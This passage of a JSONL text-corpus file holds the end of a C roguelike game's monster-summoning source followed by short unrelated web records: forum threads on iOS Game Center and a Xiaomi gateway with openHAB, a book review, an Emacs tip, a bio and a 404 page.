grp, 0)) return (TRUE);\r\n\r\n\t/* Oops */\r\n\treturn (FALSE);\r\n}\r\n\r\n\r\n/*\r\n * Attempt to allocate a random monster in the dungeon.\r\n *\r\n * Place the monster at least \"dis\" distance from the player.\r\n *\r\n * Use \"slp\" to choose the initial \"sleep\" status\r\n *\r\n * Use \"monster_level\" for the monster level\r\n */\r\nbool alloc_aquatic_monster(int dis, bool slp)\r\n{\r\n\tint py = p_ptr->py;\r\n\tint px = p_ptr->px;\r\n\r\n\tint y, x;\r\n\tint\tattempts_left = 10000;\r\n\r\n\t/* Find a legal, distant, unoccupied, space */\r\n\twhile (--attempts_left)\r\n\t{\r\n\t\t/* Pick a location */\r\n\t\ty = rand_int(DUNGEON_HGT);\r\n\t\tx = rand_int(DUNGEON_WID);\r\n\r\n\t\t/* Require \"naked\" floor grid */\r\n\t\tif (!water_naked_bold(y, x)) continue;\r\n\r\n\t\t/* Accept far away grids */\r\n\t\tif (distance(y, x, py, px) > dis) break;\r\n\t}\r\n\r\n\tif (!attempts_left)\r\n\t{\r\n\t\tif (cheat_xtra || cheat_hear)\r\n\t\t{\r\n\t\t\tmsg_print(\"Warning! Could not allocate an aquatic monster.\");\r\n\t\t}\r\n\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\t/* Attempt to place the monster, allow groups */\r\n\tif (place_aquatic_monster(y, x, slp, TRUE)) return (TRUE);\r\n\r\n\t/* Nope */\r\n\treturn (FALSE);\r\n}\r\n\r\n\r\n\r\n\r\n\r\n/*\r\n * Hack -- the \"type\" of the current \"summon specific\"\r\n */\r\nstatic int summon_specific_type = 0;\r\n\r\n\r\n/*\r\n * Hack -- help decide if a monster race is \"okay\" to summon\r\n */\r\nstatic bool summon_specific_okay(int r_idx)\r\n{\r\n\tmonster_race *r_ptr = &r_info[r_idx];\r\n\r\n\tbool okay = FALSE;\r\n\r\n\r\n\t/* Hack -- no specific type specified */\r\n\tif (!summon_specific_type) return (TRUE);\r\n\r\n\r\n\t/* Check our requirements */\r\n\tswitch (summon_specific_type)\r\n\t{\r\n\t\tcase SUMMON_ANT:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'a') &&\r\n\t\t\t !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_SPIDER:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'S') &&\r\n\t\t\t !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_HOUND:\r\n\t\t{\r\n\t\t\tokay = (((r_ptr->d_char == 'C') || (r_ptr->d_char == 'Z')) &&\r\n\t\t\t !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_HYDRA:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'M') &&\r\n\t\t\t !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_ANGEL:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'A') &&\r\n\t\t\t !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_DEMON:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->flags3 & (RF3_DEMON)) &&\r\n\t\t\t !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_UNDEAD:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->flags3 & (RF3_UNDEAD)) &&\r\n\t\t\t !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_DRAGON:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->flags3 & (RF3_DRAGON)) &&\r\n\t\t\t !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_KIN:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == summon_kin_type) &&\r\n\t\t\t !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_HI_UNDEAD:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'L') ||\r\n\t\t\t (r_ptr->d_char == 'V') ||\r\n\t\t\t (r_ptr->d_char == 'W'));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_HI_DRAGON:\r\n\t\t{\r\n\t\t\tokay = (r_ptr->d_char == 'D');\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_HI_DEMON:\r\n\t\t{\r\n\t\t\tokay = (r_ptr->d_char == 'U');\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_WRAITH:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'W') &&\r\n\t\t\t (r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_UNIQUE:\r\n\t\t{\r\n\t\t\tokay = (r_ptr->flags1 & (RF1_UNIQUE)) ? TRUE : FALSE;\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_WOLVES:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'C') &&\r\n\t\t\t (r_idx == 186));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_SHADOWS:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'G') &&\r\n\t\t\t !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_ELEMENTAL:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'E') &&\r\n\t\t\t !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_ANIMALS:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->flags3 & (RF3_ANIMAL)) &&\r\n\t\t\t !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\t/* Result */\r\n\treturn (okay);\r\n}\r\n\r\n\r\n/*\r\n * Place a monster (of the specified \"type\") near the given\r\n * location. Return TRUE iff a monster was actually summoned.\r\n *\r\n * We will attempt to place the monster up to 10 times before giving up.\r\n *\r\n * Note: SUMMON_UNIQUE and SUMMON_WRAITH (XXX) will summon Uniques\r\n * Note: SUMMON_HI_UNDEAD and SUMMON_HI_DRAGON may summon Uniques\r\n * Note: None of the other summon codes will ever summon Uniques.\r\n *\r\n * This function has been changed. We now take the \"monster level\"\r\n * of the summoning monster as a parameter, and use that, along with\r\n * the current dungeon level, to help determine the level of the\r\n * desired monster. Note that this is an upper bound, and also\r\n * tends to \"prefer\" monsters of that level. Currently, we use\r\n * the average of the dungeon and monster levels, and then add\r\n * five to allow slight increases in monster power.\r\n *\r\n * Note that we use the new \"monster allocation table\" creation code\r\n * to restrict the \"get_mon_num()\" function to the set of \"legal\"\r\n * monsters, making this function much faster and more reliable.\r\n *\r\n * Note that this function may not succeed, though this is very rare.\r\n */\r\nbool summon_specific(int y1, int x1, int lev, int type, bool pet)\r\n{\r\n\tint i, x, y, r_idx;\r\n\r\n\r\n\t/* Look for a location */\r\n\tfor (i = 0; i < 20; ++i)\r\n\t{\r\n\t\t/* Pick a distance */\r\n\t\tint d = (i / 15) + 1;\r\n\r\n\t\t/* Pick a location */\r\n\t\tscatter(&y, &x, y1, x1, d, 0);\r\n\r\n\t\t/* Require \"empty\" floor grid */\r\n\t\tif (!cave_empty_bold(y, x)) continue;\r\n\r\n\t\t/* Hack -- no summon on glyph of warding */\r\n\t\tif (cave_feat[y][x] == FEAT_GLYPH) continue;\r\n\r\n\t\t/* Okay */\r\n\t\tbreak;\r\n\t}\r\n\r\n\t/* Failure */\r\n\tif (i == 20) return (FALSE);\r\n\r\n\r\n\t/* Save the \"summon\" type */\r\n\tsummon_specific_type = type;\r\n\r\n\r\n\t/* Require \"okay\" monsters */\r\n\tget_mon_num_hook = summon_specific_okay;\r\n\r\n\t/* Prepare allocation table */\r\n\tget_mon_num_prep();\r\n\r\n\r\n\t/* Pick a monster, using the level calculation */\r\n\tr_idx = get_mon_num((p_ptr->depth + lev) / 2 + 5);\r\n\r\n\r\n\t/* Remove restriction */\r\n\tget_mon_num_hook = NULL;\r\n\r\n\t/* Prepare allocation table */\r\n\tget_mon_num_prep();\r\n\r\n\r\n\t/* Handle failure */\r\n\tif (!r_idx) return (FALSE);\r\n\r\n\t/* Attempt to place the monster (awake, allow groups) */\r\n\tif (!place_monster_aux(y, x, r_idx, FALSE, TRUE, pet)) return (FALSE);\r\n\r\n\t/* Success */\r\n\treturn (TRUE);\r\n}\r\n\r\n\r\n/*\r\n * Summon a monster - from Kamband\r\n */\r\nvoid summon_monster(int sumtype)\r\n{\r\n\tif (summon_specific(p_ptr->py, p_ptr->px, p_ptr->depth + randint(5),\r\n\t\t sumtype, TRUE))\r\n\t{\r\n\t\tmsg_print(\"You summon some help.\");\r\n\t}\r\n\telse\r\n\t{\r\n\t\tmsg_print(\"You called, but no help came.\");\r\n\t}\r\n}\r\n\r\n\r\n\r\n\r\n\r\n/*\r\n * Let the given monster attempt to reproduce.\r\n *\r\n * Note that \"reproduction\" REQUIRES empty space.\r\n */\r\nbool multiply_monster(int m_idx)\r\n{\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\r\n\tint i, y, x;\r\n\r\n\tbool result = FALSE;\r\n\r\n\t/* Pets/friendlies breed pets. (Evil grin) */\r\n\tbool make_pets = (m_ptr->is_friendly ? TRUE : FALSE);\r\n\r\n\t/* Try up to 18 times */\r\n\tfor (i = 0; i < 18; i++)\r\n\t{\r\n\t\tint d = 1;\r\n\r\n\t\t/* Pick a location */\r\n\t\tscatter(&y, &x, m_ptr->fy, m_ptr->fx, d, 0);\r\n\r\n\t\t/* Require an \"empty\" floor grid */\r\n\t\tif (!cave_empty_bold(y, x)) continue;\r\n\r\n\t\t/* Create a new monster (awake, no groups) */\r\n\t\tresult = place_monster_aux(y, x, m_ptr->r_idx, FALSE, FALSE,\r\n\t\t\t\t\t make_pets);\r\n\r\n\t\t/* Done */\r\n\t\tbreak;\r\n\t}\r\n\r\n\t/* Result */\r\n\treturn (result);\r\n}\r\n\r\n\r\n\r\n\r\n\r\n/*\r\n * Dump a message describing a monster's reaction to damage\r\n *\r\n * Technically should attempt to treat \"Beholder\"'s as jelly's\r\n */\r\nvoid message_pain(int m_idx, int dam)\r\n{\r\n\tlong oldhp, newhp, tmp;\r\n\tint percentage;\r\n\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\r\n\tchar m_name[80];\r\n\r\n\r\n\t/* Get the monster name */\r\n\tmonster_desc(m_name, m_ptr, 0);\r\n\r\n\t/* Notice non-damage */\r\n\tif (dam == 0)\r\n\t{\r\n\t\tmsg_format(\"%^s is unharmed.\", m_name);\r\n\t\treturn;\r\n\t}\r\n\r\n\t/* Note -- subtle fix -CFT */\r\n\tnewhp = (long)(m_ptr->hp);\r\n\toldhp = newhp + (long)(dam);\r\n\ttmp = (newhp * 100L) / oldhp;\r\n\tpercentage = (int)(tmp);\r\n\r\n\r\n\t/* Jelly's, Mold's, Vortex's, Quthl's */\r\n\tif (strchr(\"jmvQ\", r_ptr->d_char))\r\n\t{\r\n\t\tif (percentage > 95)\r\n\t\t\tmsg_format(\"%^s barely notices.\", m_name);\r\n\t\telse if (percentage > 75)\r\n\t\t\tmsg_format(\"%^s flinches.\", m_name);\r\n\t\telse if (percentage > 50)\r\n\t\t\tmsg_format(\"%^s squelches.\", m_name);\r\n\t\telse if (percentage > 35)\r\n\t\t\tmsg_format(\"%^s quivers in pain.\", m_name);\r\n\t\telse if (percentage > 20)\r\n\t\t\tmsg_format(\"%^s writhes about.\", m_name);\r\n\t\telse if (percentage > 10)\r\n\t\t\tmsg_format(\"%^s writhes in agony.\", m_name);\r\n\t\telse\r\n\t\t\tmsg_format(\"%^s jerks limply.\", m_name);\r\n\t}\r\n\r\n\t/* Dogs and Hounds */\r\n\telse if (strchr(\"CZ\", r_ptr->d_char))\r\n\t{\r\n\t\tif (percentage > 95)\r\n\t\t\tmsg_format(\"%^s shrugs off the attack.\", m_name);\r\n\t\telse if (percentage > 75)\r\n\t\t\tmsg_format(\"%^s snarls with pain.\", m_name);\r\n\t\telse if (percentage > 50)\r\n\t\t\tmsg_format(\"%^s yelps in pain.\", m_name);\r\n\t\telse if (percentage > 35)\r\n\t\t\tmsg_format(\"%^s howls in pain.\", m_name);\r\n\t\telse if (percentage > 20)\r\n\t\t\tmsg_format(\"%^s howls in agony.\", m_name);\r\n\t\telse if (percentage > 10)\r\n\t\t\tmsg_format(\"%^s writhes in agony.\", m_name);\r\n\t\telse\r\n\t\t\tmsg_format(\"%^s yelps feebly.\", m_name);\r\n\t}\r\n\r\n\t/* One type of monsters (ignore,squeal,shriek) */\r\n\telse if (strchr(\"FIKMRSXabclqrst\", r_ptr->d_char))\r\n\t{\r\n\t\tif (percentage > 95)\r\n\t\t\tmsg_format(\"%^s ignores the attack.\", m_name);\r\n\t\telse if (percentage > 75)\r\n\t\t\tmsg_format(\"%^s grunts with pain.\", m_name);\r\n\t\telse if (percentage > 50)\r\n\t\t\tmsg_format(\"%^s squeals in pain.\", m_name);\r\n\t\telse if (percentage > 35)\r\n\t\t\tmsg_format(\"%^s shrieks in pain.\", m_name);\r\n\t\telse if (percentage > 20)\r\n\t\t\tmsg_format(\"%^s shrieks in agony.\", m_name);\r\n\t\telse if (percentage > 10)\r\n\t\t\tmsg_format(\"%^s writhes in agony.\", m_name);\r\n\t\telse\r\n\t\t\tmsg_format(\"%^s cries out feebly.\", m_name);\r\n\t}\r\n\r\n\t/* Another type of monsters (shrug,cry,scream) */\r\n\telse\r\n\t{\r\n\t\tif (percentage > 95)\r\n\t\t\tmsg_format(\"%^s shrugs off the attack.\", m_name);\r\n\t\telse if (percentage > 75)\r\n\t\t\tmsg_format(\"%^s grunts with pain.\", m_name);\r\n\t\telse if (percentage > 50)\r\n\t\t\tmsg_format(\"%^s cries out in pain.\", m_name);\r\n\t\telse if (percentage > 35)\r\n\t\t\tmsg_format(\"%^s screams in pain.\", m_name);\r\n\t\telse if (percentage > 20)\r\n\t\t\tmsg_format(\"%^s screams in agony.\", m_name);\r\n\t\telse if (percentage > 10)\r\n\t\t\tmsg_format(\"%^s writhes in agony.\", m_name);\r\n\t\telse\r\n\t\t\tmsg_format(\"%^s cries out feebly.\", m_name);\r\n\t}\r\n}\r\n\r\n\r\n\r\n/*\r\n * Learn about an \"observed\" resistance.\r\n */\r\nvoid update_smart_learn(int m_idx, int what)\r\n{\r\n\r\n#ifdef DRS_SMART_OPTIONS\r\n\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\r\n\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\r\n\r\n\t/* Too stupid to learn anything */\r\n\tif (r_ptr->flags2 & (RF2_STUPID)) return;\r\n\r\n\t/* Not intelligent, only learn sometimes */\r\n\tif (!(r_ptr->flags2 & (RF2_SMART)) && (rand_int(100) < 50)) return;\r\n\r\n\r\n\t/* XXX XXX XXX */\r\n\r\n\t/* Analyze the knowledge */\r\n\tswitch (what)\r\n\t{\r\n\t\tcase DRS_FREE:\r\n\t\t{\r\n\t\t\tif (p_ptr->free_act) m_ptr->smart |= (SM_IMM_FREE);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_MANA:\r\n\t\t{\r\n\t\t\tif (!p_ptr->msp) m_ptr->smart |= (SM_IMM_MANA);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_ACID:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_acid) m_ptr->smart |= (SM_RES_ACID);\r\n\t\t\tif (p_ptr->oppose_acid) m_ptr->smart |= (SM_OPP_ACID);\r\n\t\t\tif (p_ptr->immune_acid) m_ptr->smart |= (SM_IMM_ACID);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_ELEC:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_elec) m_ptr->smart |= (SM_RES_ELEC);\r\n\t\t\tif (p_ptr->oppose_elec) m_ptr->smart |= (SM_OPP_ELEC);\r\n\t\t\tif (p_ptr->immune_elec) m_ptr->smart |= (SM_IMM_ELEC);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_FIRE:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_fire) m_ptr->smart |= (SM_RES_FIRE);\r\n\t\t\tif (p_ptr->oppose_fire) m_ptr->smart |= (SM_OPP_FIRE);\r\n\t\t\tif (p_ptr->immune_fire) m_ptr->smart |= (SM_IMM_FIRE);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_COLD:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_cold) m_ptr->smart |= (SM_RES_COLD);\r\n\t\t\tif (p_ptr->oppose_cold) m_ptr->smart |= (SM_OPP_COLD);\r\n\t\t\tif (p_ptr->immune_cold) m_ptr->smart |= (SM_IMM_COLD);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_POIS:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_pois) m_ptr->smart |= (SM_RES_POIS);\r\n\t\t\tif (p_ptr->oppose_pois) m_ptr->smart |= (SM_OPP_POIS);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_FEAR:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_fear) m_ptr->smart |= (SM_RES_FEAR);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_LITE:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_lite) m_ptr->smart |= (SM_RES_LITE);\r\n\t\t\tif (p_ptr->oppose_ld) m_ptr->smart2 |= (SM2_OPP_LITE);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_DARK:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_dark) m_ptr->smart |= (SM_RES_DARK);\r\n\t\t\tif (p_ptr->oppose_ld) m_ptr->smart2 |= (SM2_OPP_DARK);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_BLIND:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_blind) m_ptr->smart |= (SM_RES_BLIND);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_CONFU:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_confu) m_ptr->smart |= (SM_RES_CONFU);\r\n\t\t\tif (p_ptr->oppose_cc) m_ptr->smart2 |= (SM2_OPP_CONFU);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_SOUND:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_sound) m_ptr->smart |= (SM_RES_SOUND);\r\n\t\t\tif (p_ptr->oppose_ss) m_ptr->smart2 |= (SM2_OPP_SOUND);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_SHARD:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_shard) m_ptr->smart |= (SM_RES_SHARD);\r\n\t\t\tif (p_ptr->oppose_ss) m_ptr->smart2 |= (SM2_OPP_SHARD);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_NEXUS:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_nexus) m_ptr->smart |= (SM_RES_NEXUS);\r\n\t\t\tif (p_ptr->oppose_nexus) m_ptr->smart2 |= (SM2_OPP_NEXUS);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_NETHR:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_nethr) m_ptr->smart |= (SM_RES_NETHR);\r\n\t\t\tif (p_ptr->oppose_nethr) m_ptr->smart2 |= (SM2_OPP_NETHR);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_CHAOS:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_chaos) m_ptr->smart |= (SM_RES_CHAOS);\r\n\t\t\tif (p_ptr->oppose_cc) m_ptr->smart2 |= (SM2_OPP_CHAOS);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_DISEN:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_disen) m_ptr->smart |= (SM_RES_DISEN);\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n#endif /* DRS_SMART_OPTIONS */\r\n\r\n}", "source": "cpt_stack_code", "language": "code", "token_count": 19304, "token_count_with_eod": 19305, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "I submitted Healer Quest for approval by Apple (iOS App Store), and I’ve been refused for the following reason :\n« We noticed that Game Center has been enabled for your app but there are no Game Center features within the app.\nSpecifically, the app has GC enabled and leaderboards and achievements have been submitted for review. However, no GC achievements or leaderboards were found in the app. »\nWell… I can swear there IS Game Center in my code. Actually it’s the exact same events that I am using with CranberryGames « Phonegap Game » on the Android version, where achievements and leaderboards are working perfectly. I’ve just replaced the PhonegapGame plugin with C2’s GameCenter equivalent, i.e. :\n« Authenticate user » at the start of the first layout.\n« report achievement \"achievementID\"» when the player unlocks an achievement.\n« Submit score N to leaderboard \"leaderboardID\" »\n« Show Leaderboard \"leaderboardID\" » on the title screen to check the different leaderboards\n« request Achievements » to show the list of achievements unlocked by the player on the title screen.\nI’m using Phonegap Build to export to iOS platform, while the Android version is exported with Intel XDK.\nDo I need to use other conditions / actions in order to make GC to work?\nIs there something I’m missing ?\nAny difference with the use of PhonegapGame plugin for Android / Intel XDK ?\nShould the IDs be types within \" \" ?\nThanks a lot for any idea about what could be wrong!\nDevelop games in your browser. Powerful, performant & highly capable.\nRable hey I'm encountering the same problem as you now, I exported my game using Cordova Project settings and convert the .IPA file using IntelXDK but it seems that the only thing that's working is the In-App Purchase (Even though it's giving me error) whereas the Game Center won't authenticate.\nI even created a \"Log In\" button to Game Center and the action is to \"Authenticate User\" but nothing showed up.\nIs there anyone out there who can help us? Would be greatly appreciated.\nFrom the moment I posted the message, I still don't have Apple's approval yet (it's pending), but I'm confident GC wil work on the build I submitted. At the very least the Leaderboards and achievements are working fine in Sandbox environment (I even can see the scores of the reviewers) so I guess it should be okay.\nDid you try your app in sandbox environment? Does it gives you a message \"Welcome back, (...)\" when you ask for authetification?\nRable game center won't even authenticate. I don't get any message saying that the GC plugin works on my end.\nIt should work. Is everything ok with your events? Do you authenticate on the start of layout?\nMaybe re-read the manual refrence entry to see if everything is correct on this side:\nDid you try to create events that trigger on auth fails or on auth success, to see whether authentification fails or gets no response at all?\nSolved, turns out that I have to install the testflight app and enable the sandbox mode, it works now.\nWhere did u do that, man? Changed test to sandbox? i can't find in", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 691, "token_count_with_eod": 692, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "In some applications, a complete characterization of the entire downlink RF spectrum conditions is desired. The Autonomous Mobile Collection Kit enables users to place fixed probes at various places to monitor all downlink cellular network spectrum blocks and automatically collect base station identification data and RF measurements on all carriers for all 2G/3G/4G technologies.\nThe diagram below shows the Autonomous Collection Dataflow via Cloud Drive.\nThis diagram below shows a simple workflow for the remote collection operator.\nComfortable form-fitting back plate\nLight-weight frame and backpack enclosure increases comfort during long operations\nIn addition, the Autonomous Mobile Collection Kit can transfer files using a USB memory in place of the cloud drive as shown above.\nRugged internal frame with receiver, power supply, controller, and ventilation fans", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 157, "token_count_with_eod": 158, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I know there is a lot of written stuff about the establishing the connection from OH2 to the gateway I already read a lot of not only on OH forums. I recently got my devce delivered and have attached it to my network and can get the date on the mobile app.\nBut I’m in no way able to configure the gateway in the way as described in the bindings docs.\nOH2 version 2.5.5\nXiaomi Home app: 5.8.16\nPlugin version: 1.5.2\nGateway firmware: 1.4.6_0012\nI’ve read also the thread about soldering UART to the gateway in order to access the system with serial connection. Honestly I would try to prevent this. I don’t want to risk damaging the case. My device is a flat one and Micro-USB powered. Not as others shown in the thread [SOLVED] Openhab2 - Xiaomi Mi Gateway - does not respond with build in 230v plug.\nI bought the xiaomi hub and some sensors recently and didn’t get it to work either. I tried pretty much everything…\nTo fix this I bought a Conbee II stick from Deconz https://www.phoscon.de/de/conbee2. It’s 40€. The stick then gets connected to openhab via the Deconz binding\nThanks @Felix_Schneider that’s at least an alternative idea. However my four USB ports on the server are already used and there are also three of them attached to the openHAB bindings. At some point it becomes difficult to use USB connections to control everything.\nI mean there is huge amount of people working on SmartHome initiatives but there is still to much own box thinking.\nI can access the gateway even through the outher space, beeing on the road, but I’m not able include it into the central control unit. Seems somehow weird…\nAs far as I understand, its due to a specific port beeing closed in the firmware. You´ll need to open that for the openhab bindig to find it, second there are some permission settings which I think needs to be altered. And last, you´ll need the token.\nI dont think its possible to du beside going in hard-wired (serial interface). Why Xiaomi chose to do it like this, and not like the older gateway version is still in question. I have on of the older ones, and I have to admit, I have had thoughts about going away from these gateways, simply because I cant count on the one I have now will work forever. And changing to a newer version will end in the same situation you´re in.\npython-miio is able to control the devices, without the restriction on firmware as far as I can see.\nHence don’t see why miio binding would not be able to communicate with the device as it uses same communication method\nI will give it a try with my gateway, Marcel. I first need to get some debug logging for the modbus binding up running first, cause there seem to be some serious issue with it. Then I´ll return to try the miio binding with my gateway.\nNext step is to find out how to activate port 9898 on the device or find another approach to do the same.\nI can see that 9898 is not active listening…\nAs on other pages written, the system on this version of Mi Smarthome hub (gateway) also referred as v4 works differently. And there seems to be no way to get a developer key from somewhere. Further more I cannot identify which service on the device would be related to to port 9898.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 776, "token_count_with_eod": 777, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I’ve just posted my review of “EJB 3.1 Cookbook” over on Develop In Java.\nEJB 3.1 Cookbook is an excellent resource in an EJB developer’s library. It’s not the sort of book you pick up and read from cover to cover rather a useful resource that you pick up when you think “How do I do xxx in EJB?”. With over 100 recipes this book is recommended to developers using EJB technologies.\nI very much liked this book and can imagine using it frequently. You can read the whole review here.\nJames Sutherland has published a blog post showing how to significantly increase JPA performance.\nIn the post, he provides 11 different optimizations, such as pagination and query caching that can be applied to JPA. The EclipseLink JPA 3.2 implementation of JPA is used throughout the post.\nThis is a good article and well worth reading by anyone that develops database systems using JPA.\nPackt Publishing have recently released two new books of interest to Java EE developers.\nEJB 3.1 Cookbook and Java EE6 With NetBeans 7 both look like good reads and Packt have graciously agreed to send me a copy of each of these books for review, which I’ll post on the site as soon as I’ve reviewed them.\nThanks to Nicole for sorting this out for me.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 288, "token_count_with_eod": 289, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "The other day I was editing a httpd.conf file and wanted to comment a large section. On the server I was using the comment syntax wasn’t setup for these types of files.\nSo, to quickly accomplish I just needed to set the comment-start variable to “#”.\nM-: (setq comment-start \"#\") RET\nThen with the block marked, a comment-region worked perfectly.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 80, "token_count_with_eod": 81, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "We have developed a simple managment and analysis tool, called Dr.Bookings.\nIts OpenSource and free-of-charge.\nFor our needs it is already working very good, but we would like to get some more feedback if it is suited for a more general audience.\nIf you are interested, just download the latest release and give it a try!\nFree technical support guaranteed in exchange for feedback!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "i am interested in learning kufic script.\nI am amazed with the work and its heart touching and eye catching.\nIt surely deserves recognition and its appreciable in all its styles.\nCan anybody suggest some reading work for me to start learning?\nThere are some teaching books from our website You may provide it for your learning.\nYour email address will not be published. Required fields are marked *\nCurrent ye@r *\nLeave this field empty", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 94, "token_count_with_eod": 95, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Peter Myers has been working with Microsoft database and development products since 1997. Today he specializes in Microsoft Business Intelligence and provides mentoring, technical training and course content authoring for Microsoft SQL Server and Microsoft Office. Specifically, he works with SQL Server Integration Services, SQL Server Analysis Services (data modeling and data mining), SQL Server Reporting Services, Microsoft Excel, PowerPivot and PerformancePoint Services.\nHe has a broad business background supported by a Bachelor degree in applied economics, and he extends this with current MCITP and MCT certifications. He has been a SQL Server MVP since 2007.\nPeter is an established presenter and enjoys sharing his enthusiasm for Microsoft products by presenting in classrooms and at user group meetings, technical events and conferences.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "We can't find the page you are looking...\nMOST LIKELY CAUSES:\nThere might be a typing error in the web address\nIf you clicked on a link, it may be out of date\nTHINGS YOU COULD TRY:\nRetype the address Go back to the previous page\nGo to our Home page and look for the information you want", "source": "cpt_opc_fineweb_code", 